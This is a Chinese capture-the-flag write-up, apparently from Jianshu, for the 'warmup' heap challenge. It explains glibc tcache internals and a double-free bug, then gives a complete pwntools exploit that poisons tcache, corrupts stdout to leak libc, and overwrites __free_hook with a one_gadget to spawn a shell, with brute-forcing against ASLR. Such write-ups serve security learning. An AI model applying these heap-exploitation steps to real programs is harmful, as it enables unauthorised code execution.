warmup

0 文件

链接:https://pan.baidu.com/s/1H0Q9RTa5c7-jljZSmWfqPA 
提取码:xg6n
  1. 理论
  • tcache 有两个重要的结构体 tcache_entrytcache_perthread_struct.
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;
  • 第一次调用 malloc 时,会额外 malloc 一段空间用于存放 tcache_perthread_struct.
    以本题为例, TCACHE_MAX_BINS = 0x40, 第一次 malloc 之后的堆结构如下:
pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 0x251, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 0x411, 
  fd = 0x0, 
  bk = 0xa2e2e2e2e2e, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757660 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 0x209a1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

最下面那个 size = 0x209a1 的 chunk 是 top chunk, 中间那个 size = 0x411 的 chunk 便是第一次分配 chunk, 而最上面的那个 chunk 便是用来存放 tcache_perthread_struct 的, 这个 chunk 可用的 size0x240, 前 0x40 个字节用于存放 char counts[TCACHE_MAX_BINS], 后面的 0x200 个字节存放 tcache_entry *entries[TCACHE_MAX_BINS].

  1. 漏洞点
void __cdecl delete()
{
  int index; // [rsp+4h] [rbp-Ch]

  printf("index:");
  index = get_int();
  if ( index >= 0 && index <= 9 )
  {
    // 如果 index 对应的 global_ptr[index] 为 0
    if ( global_ptr[index] )
      temp_ptr = (void *)global_ptr[index];
    // 但 temp_ptr(全局变量) 不为 0
    // 如果它是上次 delete 的残留, 便会造成 double free.
    if ( temp_ptr )
    {
      free(temp_ptr);
      global_ptr[index] = 0LL;
      puts("done!");
    }
    else
    {
      puts("no such note!");
    }
  }
  else
  {
    puts("invalid");
  }
}
  1. 利用步骤
    在本地调试时可以先关闭 ASLR, 此时从 gdb 中得知 tcache_perthread_struct 所在的 heap 的地址为 0x555555757000, IO_2_1_stdout 的地址为 0x7ffff7dd0760.
    利用思路如下:
1. 利用 double free 篡改 fd, 使其指向 tcache_perthread_struct;
2. 在 tcache_perthread_struct 上再分配一个 chunk 后, 将 count 字段全改为 0xff, 把 tcache 填满, 此时再 free 就会进入 unsortedbin
3. unsortedbin 的 fd 会指向 (main_arena+96), 篡改这个地址的后 2 个字节使其指向 _IO_2_1_out_
4. 利用 _IO_2_1_out_ 泄漏 libcbase

具体细节:

    add(p, "0")
    delete(p, 0)
    delete(p, 0)            # double free
    add(p, p16(0x7010))     # 篡改 fd, 使其指向 tcache_perthread_struct
    add(p, "1") 
    add(p, p8(0xff)*0x40)   # 修改 tcache_perthread_struct 的 counts 字段, 全部改满

    delete(p, 2)            # 此时 chunk2 会进入 unsortedbin, size=0x251
    add(p, p8(1)*0x40)      # 从 chunk2 中 malloc 一个 size=0x50 的 chunk, 将 tcache_perthread_struct 的 counts 字段全改为 1.
                            # 而且由于是从 chunk2 这个大的 chunk 切分出一个 size=0x50 的 chunk 的缘故, 刚好会把 tcache_perthread_struct 
                            # 的 entry 字段中代表 size=0x50 的 entry 改成 0x7ffff7dcfca0 (main_arena+96)
    delete(p, 0)            # 将 chunk0 free 掉, 则 chunk0 会进入 tcache, 其 next 字段被改为 size=0x50 的 entry, 即 0x7ffff7dcfca0 (main_arena+96)
    add(p, p16(0x0760)+'\xdd')     # 篡改 next 字段, 使其指向 _IO_2_1_out_
    add(p, "aaaa")         
    payload = p64(0xfbad1800) + p64(0)*3 + p8(0xc8) # 篡改 _IO_2_1_out_, 泄漏 _IO_2_1_stdin_ 的地址
    add(p, payload)
    stdin = u64(p.recv(6).ljust(8, '\x00'))
    print("stdin_addr = " + hex(stdin))
    libcbase = stdin-libc.symbols["_IO_2_1_stdin_"] # 计算 libcbase
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    # 使 free_hook 指向 one gadget
    free_hook = libcbase + libc.symbols["__free_hook"]
    delete(p, 0)                                
    modify(p, 1, p64(free_hook))
    add(p, "aaaa")
    add(p, p64(one_gadget[1]+libcbase))

    delete(p, 0)

    p.interactive()

开启 ASLR 之后, tcache_perthread_struct 和 IO_2_1_stdout 的后 2 个字节中有半个字节是未知, 所以需要枚举一下.

  1. EXP
from pwn import *
import time
import random

context.terminal = ["tmux","splitw","-h"]
#context.log_level = "debug"

libc = ELF("./libc-2.27.so")

def choose(p, ind):
    p.recv()
    p.sendline(str(ind))

def add(p, content):
    choose(p, 1)
    p.recvuntil("content>>")
    p.send(content)

def delete(p, ind):
    choose(p, 2)
    p.recvuntil("index:")
    p.sendline(str(ind))

def modify(p, ind, content):
    choose(p, 3)
    p.recvuntil("index:")
    p.sendline(str(ind))
    
    p.recvuntil("content>>")
    p.send(content)

def pwn(p, ad1, ad2):
    add(p, "0")             #0
    #gdb.attach(p)

    delete(p, 0)            #0
    delete(p, 0)            #fake
    # add(p, p16(0x7010))
    add(p, p16(ad1))     #0
    add(p, "1")             #1
    add(p, p8(0xff)*0x40)   #2
    

    delete(p, 2)            #2
    add(p, p8(1)*0x40)      #2

    delete(p, 0)            #0
    
    #modify(p, 1, p16(0x0760)+'\xdd')   #1
    modify(p, 1, p16(ad2))
    add(p, "aaaa")          #0
    
    payload = p64(0xfbad1800) + p64(0)*3 + p8(0xc8)
    add(p, payload)         #3
    stdin = u64(p.recv(6).ljust(8, '\x00'))

    print("stdin_addr = " + hex(stdin))
    libcbase = stdin-libc.symbols["_IO_2_1_stdin_"]
    # stdin_addr = 0x7ffff7dcfa00

    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    free_hook = libcbase + libc.symbols["__free_hook"]

    delete(p, 0)                    #0
    modify(p, 1, p64(free_hook))    #1
    add(p, "aaaa")                  #0
    add(p, p64(one_gadget[1]+libcbase))

    delete(p, 0)
    
    p.sendline("ls")
    p.interactive()

flag = True
while(flag):
    flag = False
    ad1 = (random.randint(0, 0xf)<<12) | 0x0010
    ad2 = (random.randint(0, 0xf)<<12) | 0x0760
    p = process("./warmup", env={"LD_PRELOAD": "libc-2.27.so"})

    try:
        pwn(p, ad1, ad2)
    except Exception as e:
        flag = True
        print("try again.")
        p.close()

print("success")
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 08.03 1、看之前的2篇文章 08.04 1、换服务器并配置 阿里云服务器创建镜像备份登陆控制台--->实例-...
    gufsicsxzf阅读 957评论 0 0
  • Tcache是libc2.26的特性,它对每个线程增加一个bin缓存,这样能显著地提高性能,默认情况下,每个线程有...
    HAPPYers阅读 742评论 0 0
  • unsorted_bin_into_stack (glibc 2.23) 环境Ubuntu 16.04Glibc ...
    blogg9ggg阅读 533评论 0 0
  • libc2.26 之后的 Tcache 机制 1. Tcache 概述 ​ tcache是libc2.26之...
    Nevv阅读 8,874评论 0 2
  • 今天青石的票圈出镜率最高的,莫过于张艺谋的新片终于定档了。 一张满溢着水墨风的海报一次次的出现在票圈里,也就是老谋...
    青石电影阅读 10,885评论 1 2

友情链接更多精彩内容